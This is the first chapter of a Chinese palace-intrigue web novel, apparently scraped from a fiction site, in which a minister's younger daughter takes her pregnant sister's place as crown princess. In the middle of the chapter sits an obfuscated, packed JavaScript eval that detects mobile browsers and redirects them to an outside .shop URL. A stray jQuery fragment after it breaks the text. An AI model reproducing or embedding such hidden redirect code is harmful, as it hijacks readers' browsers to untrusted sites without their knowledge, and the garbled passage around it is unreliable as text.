文趣网 > 其他小说 > 鹊迟归 > 1. 第 1 章
    怀雍二十八年,春三月。

    暖阁隔扇紧闭,铜炉内燃着炭火,一室如春。

    绒毡铺地,软榻锦垫齐备,窗前设书案,香雾轻飘,隔绝了庭院料峭春风。

    琉璃灯盏忽明忽灭,灯火葳蕤。

    姜幼宁蹙眉瞧着眼前拉着她的手哭得梨花带雨的长姐,心中轻叹。

    “小妹…阿姊自知亏欠于你,可再过段时日,阿姊的肚子就瞒不住了…这可是牵连九族的大罪啊。

    “算阿姊求你了…”

    “小妹,太子殿下只与我见过两面,你扮作我的样子,他决计认不出来的……”姜黍宁还在苦苦哀求,泪凝于睫。

    姜幼宁将目光转向一旁的姜太傅夫妇二人,姜太傅沉着脸给自己灌了口茶水,姜夫人亦是脸色铁青。

    姜幼宁收回目光,拿出手帕替长姐拭泪,目光却瞥见长姐腹部微微隆起的弧度,动作一顿,最终叹息道:

    “阿姊莫哭,小妹替阿姊去就是了。”

    姜幼宁是当朝太傅姜怀南的次女。

    她两岁那年随母亲前往法华寺祈福,寺中住持看到姐妹二人的八字,断言姜幼宁命格极贵,且与胞姐的命格相冲。

    若是两人自小养在一处,则两人命格相撞,强弱相克,一方被夺运,久而久之,则气运互冲,两相折损。

    为今之计,只有将一方送往别处,待及笄之年,命格稳定时接回,此乃两全之法。

    姜夫人怜惜长女命局枯薄,便咬牙将幼女送往汴京,对外便道幼女身体孱弱,需送往汴京寻医。

    久而久之,京都人便渐渐淡忘了姜太傅幼女。

    姜黍宁,也就是姜幼宁的长姐,方才及笄便被指婚给当朝太子殿下,可这桩婚事非她所愿,且她已有心上人,自是百般不愿。

    可皇命难违,无奈之下姜黍宁只好嫁入东宫。

    再说这位太子殿下,乃是先皇后幼子,自小便身子孱弱,如今方值弱冠之年,传闻道,太子殿下近些年身子越发的病弱,怕是没有几年光阴可活。

    若是姜黍宁安安分分做她的太子妃也就罢了,可偏偏她惹出了一件天大的丑闻。

    大婚前夕,姜黍宁与她的心上人见面互诉衷肠,二人哭诉命运的不公,痛斥苍天无眼让他们有情人分离,不知为何就到了床榻上去。

    嫁入东宫六个月以来,太子的面没见到几回,姜黍宁的肚子却显怀了。

    姜太傅得知此事大发雷霆,原本想用落胎药打掉腹中的胎儿,但姜黍宁死活不愿,还以生死相逼。

    姜太傅再铁石心肠也终究无法对女儿的生死视而不见。

    但闹出此等丑事,若是东窗事发,必将连累全族,走投无路之下,姜黍宁想到了姜幼宁这个跟自己有八分相像的妹妹。

    如今之计,只能想办法将姐妹二人偷梁换柱,将姜幼宁送进东宫顶替太子妃的身份。

    姐妹二人本就相像,姜幼宁偏清冷,而姜黍宁要娇美几分,只要稍加掩饰几分细节之处,几乎看不出姐妹二人的差别。

    此招虽险,却是唯一能够保住姜府的办法,再三思量之后,姜太傅便命人将方才及笄的姜幼宁接回了京都。

    “好妹妹……此话当真么?”姜黍宁抹了抹眼泪,眼见着又要哭,却被一声厉喝吓得娇躯一颤。

    “你这个孽障!”

    自方才起就阴沉着脸一言不发的姜太傅突然暴起,气得吹胡子瞪眼:

    “你祸害全家还不够,还要将你妹妹搭进去!”

    姜太傅怒火攻心,渐渐开始口不择言起来:

    “你当那东宫是什么好去处?太子指不定哪天就咽……”

    “老爷!”姜夫人惊声尖叫,面色苍白:“老爷慎言啊!”

    姜太傅理智回魂了些许,咬牙将剩下的话说完:

    “你要让你妹妹守一辈子寡不成?”

    “你妹妹自小便离开我和你母亲,一个人在汴京孤苦伶仃……”姜太傅说着说着红了眼眶,姜夫人也低头默默垂泪。

    姜幼宁看出来,姜太傅跟姜夫人固然不舍,但为了顾全大局,也只能再牺牲一个女儿。

    “阿姊莫要再哭,东宫我替阿姊去就是了,阿姊如今也要为腹中的孩子着想。”

    姜幼宁伸手拿起桌案上的茶盏,倒了一杯茶推给姜黍宁。

    姜幼宁想的很简单。

    传闻太子病体孱弱,久居东宫不出,与太子妃也是貌合神离,自己顶替长姐入东宫也不会与太子朝夕相对,只要自己不露出破绽,这事便不难。

    况且人人皆道太子病弱短命,若是有朝一日太子薨逝,她于东宫守孝三年便可迁居至城郊离宫,保留太子妃品级俸禄,只需终身不得改嫁即可。

    思及此处,姜幼宁反而宽慰姜太傅夫妻二人:“爹娘不必忧心,东宫对女儿来说又何尝不是一个好去处呢,女儿会做好太子妃的。”

    姜夫人瞧着眼前的小女儿,面露愧色。

    自小将她养在汴京,因山高路远无法时时体恤,本想着等她及笄时接回京都,再好好弥补她。

    可小女儿还未回京都,却要用她的后半辈子去填补这个巨大的窟窿。

    姜夫人心头酸涩,低眸默默垂泪,恰巧此时珠帘微动,姜夫人的贴身婢女神色慌乱,疾步上前福身道:

    “夫人!太子殿下……咳疾又犯了,召太子妃回东宫侍疾……”

    “什么?”姜黍宁愕然起身:“太子殿下从未传召过我侍疾,为何今日……”

    “爹,太子殿下不会发现……”姜黍宁说一句面色便苍白一分,手不由自主按上微隆的小腹。

    屋内气氛渐渐降至冰点,姜黍宁更是面色惨白,身形摇摇欲坠。

    姜幼宁眼疾手快一把扶住长姐,当机立断:“没时间耽搁了,菖蒲,即刻带我去更衣。”

    姜黍宁的贴身大宫女菖蒲立即上前道:“二小姐,随奴婢来。”

    姜太傅也反应过来转向姜黍宁,恨铁不成钢:“你这个……”

    但是看着眼前面色憔悴的女儿,姜太傅再也不忍心说什么重话,只能一甩袖,沉声道:

    “速去收拾行囊,今夜城门关闭前离开京都。”

    菖蒲是姜黍宁的贴身侍女,姜黍宁的日常起居都由她照料。

    暖阁内三三两两的婢女进进出出,七手八脚地为姜幼宁梳妆。

    “二小姐放心,这几人都是太子妃的心腹,此等大事,绝不会透露半分。”

    菖蒲轻声道。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768582|209832||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姜幼宁颔首,情况紧急,她面上却沉静如水,丝毫不见半分慌乱,在梳妆的间隙有条不紊的吩咐婢女。

    “你们几个,将太子妃平日的喜好,言行举止,与太子的相处情况,一一说与我听,一个一个来。”

    菖蒲率先开口:

    “回二小姐,太子妃素性喜静,素来不爱喧闹歌舞。平日里最爱在暖阁临窗处静坐,极爱草木清雅之物,庭院只种玉兰、白海棠与翠竹,不喜浓艳牡丹;尤喜收集各式素色瓷瓶。闲时她偏爱焚香,独爱白檀与冷梅香,厌弃浓烈熏香。善烹清茶,不喜金玉堆砌。”

    第二名宫女福身道:“回二小姐,太子妃与太子殿下成婚半载,终年隔殿而居,相见不过两次。太子殿下鲜少踏入潇湘殿,平日二人唯有请安、宫宴方能远远碰面,言语客气疏离,无半分亲近。”

    “回二小姐……”

    暮色四合,星野低垂。

    姜幼宁在婢女的簇拥下出了暖阁。

    葳蕤的灯光下,眼前的女郎眉如远山含黛,目似秋水盈盈,神色沉静矜贵,凤仪娴雅。

    她本就与姜黍宁八分相像,满珠为她描妆之时刻意淡化了她原本的清冷,使得轮廓稍稍柔和几分,配合着做出姜黍宁平时的神色,竟与原本的太子妃容貌别无二致!

    姜太傅一颗心稳稳的落了地,语重心长的低声嘱咐道:

    “此去东宫,行事须谨慎,万万不可行差踏错,稍有不慎,便会有灭族之灾。”

    姜幼宁福身应是:

    “女儿知道了。”

    姜太傅夫妇二人看着姜幼宁欲言又止,府外的东宫内侍进府催促道:

    “太子妃,东宫的马车已经在府外候着了。”

    千言万语只抵得深深一眼,姜幼宁给了夫妻二人一个安抚的眼神,转身上了马车。

    ......

    马车内琉璃灯影摇曳,沉香袅袅,狐裘铺席,奢靡至极。

    姜幼宁瞧着香炉中氤氲的雾气,心中涌上一丝愁绪。

    她心中自然也忐忑,却不能流露半分,如今姜家的命运全都系在她一人身上,她不敢,也不能露怯。

    将心中那丝惆怅勉强压下,她开始细细思量。

    照婢女所言,太子对太子妃也颇为冷待,二人貌合神离,只是一对表面夫妻。

    长久之计还需思量,但眼下最重要的是先度过今晚侍疾这个难关。

    虽不清楚阿姊平日与太子的相处细节,可照婢女所言,目前最可行的法子便是少说少做。

    召太子妃侍疾一事本就蹊跷,二人成婚半载从未召太子妃侍疾,为何偏偏是今夜?

    一个大胆的猜测闪过姜幼宁脑海。

    她转向菖蒲低声询问:“今日......东宫那边可有什么动静?”

    “回太子妃,今日皇后娘娘身边的步尚宫来过,说是番邦进贡了一批珍稀药材献给太子殿下。”

    “只是送药?”

    菖蒲颔首。

    姜幼宁垂眸瞧着袖口上的云纹,若有所思道:

    “那倒是奇怪了。”

    “只是送些药材,何须皇后娘娘身边的尚宫跑一趟?”

    “除非……侍疾是假,皇后想借机敲打我是真。”